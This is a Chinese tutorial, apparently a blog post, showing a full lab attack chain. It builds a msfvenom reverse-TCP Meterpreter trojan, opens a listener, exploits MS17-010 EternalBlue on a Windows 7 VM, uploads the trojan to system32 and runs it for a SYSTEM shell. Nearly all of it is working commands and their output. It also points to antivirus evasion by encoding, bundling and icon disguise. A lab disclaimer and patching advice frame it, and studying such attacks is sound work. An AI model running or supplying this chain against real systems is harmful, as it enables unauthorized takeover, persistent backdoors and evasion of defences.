MSF 木马制作 + 永恒之蓝漏洞上传执行木马 实战教程

实验声明 :本文仅用于网络安全学习、攻防技术实训,严禁在未授权的设备、服务器、网络环境中进行操作,请严格遵守《网络安全法》等相关法律法规。

一、实验目标与环境

1. 实验目标

  1. 使用 msfvenom 制作 Windows 反向连接木马程序
  2. 利用永恒之蓝(MS17-010)漏洞入侵 Win7 靶机
  3. 通过 Meterpreter 会话将木马上传至目标主机并执行
  4. 本地开启端口监听,反弹获取目标主机最高系统权限,实现主机控制

2. 实验环境

  • 攻击机:Kali Linux 2025
  • 靶机:Windows 7(未修复 MS17-010 漏洞、开启 445 端口与 SMB 服务)
  • 网络环境:两台虚拟机处于同一局域网
  • 攻击机 IP:192.168.204.154
  • 靶机 IP:192.168.204.151

二、使用 msfvenom 制作反弹木马 & 配置监听

1. 生成 Windows 反弹木马

msfvenom 是 Metasploit 自带的木马生成工具,这里生成 exe 格式反弹木马

复制代码
# 语法说明:
# -p 指定载荷、LHOST 攻击机IP、LPORT 监听端口、-f 输出格式、-o 保存文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.204.154 LPORT=4444 -f exe -o shell_test.exe

执行成功提示

复制代码
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell_test.exe

生成的 shell_test.exe 即为木马文件,存放于当前目录(示例:Kali 桌面)。

2. MSF 开启端口监听

木马为反向连接,需要攻击机提前监听对应端口,等待靶机主动回连:

复制代码
# 静默启动 Metasploit(关闭开机动画)
msfconsole -q

依次执行以下命令配置监听:

复制代码
# 加载监听模块
use exploit/multi/handler
# 绑定与木马一致的载荷
set payload windows/meterpreter/reverse_tcp
# 监听本机所有网卡
set LHOST 0.0.0.0
# 监听端口(和木马 LPORT 保持一致)
set LPORT 4444
# 启动监听
run

监听开启后不要关闭当前会话,保持后台等待靶机上线。


三、永恒之蓝漏洞利用 + 木马上传并执行

1. 利用 MS17-010 入侵 Win7 靶机

新开一个 Kali 终端,再次启动 msfconsole,使用永恒之蓝漏洞获取 Meterpreter 权限:

复制代码
msfconsole -q

# 搜索永恒之蓝漏洞模块
search ms17-010

# 加载漏洞利用模块
use exploit/windows/smb/ms17_010_eternalblue
# 设置靶机IP
set rhost 192.168.204.151
# 执行攻击
run

攻击成功后,会直接进入 meterpreter 交互界面,此时已拥有靶机系统权限。

2. 上传木马至目标主机

使用 upload 命令将 Kali 本地的木马文件,上传到 Win7 系统目录:

复制代码
# 格式:upload 本地路径 靶机路径
meterpreter > upload /home/kali/Desktop/shell_test.exe C:\Windows\system32\shell_test.exe

上传成功回显:

plaintext

复制代码
[*] Uploading  : /home/kali/Desktop/shell_test.exe -> C:\Windows\system32\shell_test.exe
[*] Uploaded 72.07 KiB of 72.07 KiB (100.0%): /home/kali/Desktop/shell_test.exe -> C:\Windows\system32\shell_test.exe
[*] Completed  : /home/kali/Desktop/shell_test.exe -> C:\Windows\system32\shell_test.exe

3. 远程执行木马程序

在 Meterpreter 中调用 execute 命令运行上传的木马:

复制代码
meterpreter > execute -f C:\Windows\system32\shell_test.exe

出现 Process xxx created 代表木马启动成功。


四、接收反弹会话,控制靶机

回到第二步开启监听的 MSF 窗口,木马运行后会主动连接攻击机端口,成功获取新的 Meterpreter 会话:

plaintext

复制代码
[*] Started reverse TCP handler on 0.0.0.0:4444 
[*] Sending stage (177734 bytes) to 192.168.204.151
[*] Meterpreter session 2 opened (192.168.204.154:4444 -> 192.168.204.151:49511)

1. 进入 CMD 命令行

复制代码
meterpreter > shell

2. 解决 CMD 中文乱码

复制代码
# 切换为 UTF-8 编码
chcp 65001

3. 查看当前权限

复制代码
whoami

输出 nt authority\system,代表已获取 Windows 系统最高管理员权限,实验完成。


五、常见问题与优化建议

  1. 木马无法回连
    • 检查 LHOSTLPORT 前后是否一致;
    • 关闭 Kali / Win7 防火墙,保证端口互通。
  2. 上传文件失败
    • 确认 Meterpreter 权限正常,优先上传至 C:\Windows\system32 等高权限目录。
  3. 免杀优化(拓展) 原生木马极易被杀毒软件查杀,实战中可搭配编码工具、捆绑、伪装图标等方式做免杀处理。

六、实验总结

  1. msfvenom 可以快速生成各类平台的反弹木马,反向连接模式是内网渗透常用手段。
  2. 永恒之蓝(MS17-010)高危漏洞可直接远程拿下 Win7 系统权限,是老旧系统最主要的入侵入口之一。
  3. 结合漏洞提权 + 木马上传执行,可实现持久化控制,也是恶意程序传播、主机留后门的典型攻击链路。
  4. 安全防护建议
    • 及时给 Windows 系统打全量补丁,重点修复 MS17-010 高危漏洞;
    • 非办公场景关闭 139、445 等 SMB 服务端口;
    • 部署杀毒软件与防火墙,拦截陌生可执行文件、异常外联;
    • 定期检查系统目录下陌生 exe 文件,排查恶意后门。
相关推荐
持敬chijing2 小时前
Web渗透之前后端漏洞-XSS漏洞原理攻击防御全流程
前端·安全·web安全·网络安全·网络攻击模型·安全威胁分析·xss
持敬chijing3 小时前
Web渗透之SQL注入总结
sql·安全·web安全·网络安全·网络攻击模型·web
程序猿小三3 小时前
福建省第一届“闽盾杯“网络安全职业技能竞赛 — 备赛学习路线
开发语言·网络安全·php
m0_738120723 小时前
HVV应急溯源基础——Linux 系统安全加固配置指南(一)
linux·运维·服务器·安全·网络安全·系统安全
顾凌陵6 小时前
RCE漏洞实战:远程命令执行
网络安全
lcreek6 小时前
SQL盲注漏洞详解 DVWA Medium
网络安全·sql注入
持敬chijing7 小时前
Web渗透之SQL注入-SQLMAP使用笔记
数据库·sql·安全·web安全·网络安全·网络攻击模型
Chengbei117 小时前
CTF & 红队专用 AI 求解AI 引擎 Cairn 系统,化轻量化部署,红队、CTF、漏洞研究一站式解决方案
java·人工智能·安全·web安全·网络安全·系统安全
持梦远方7 小时前
Windows 7 永恒之蓝漏洞复现及影子账户创建实战
网络安全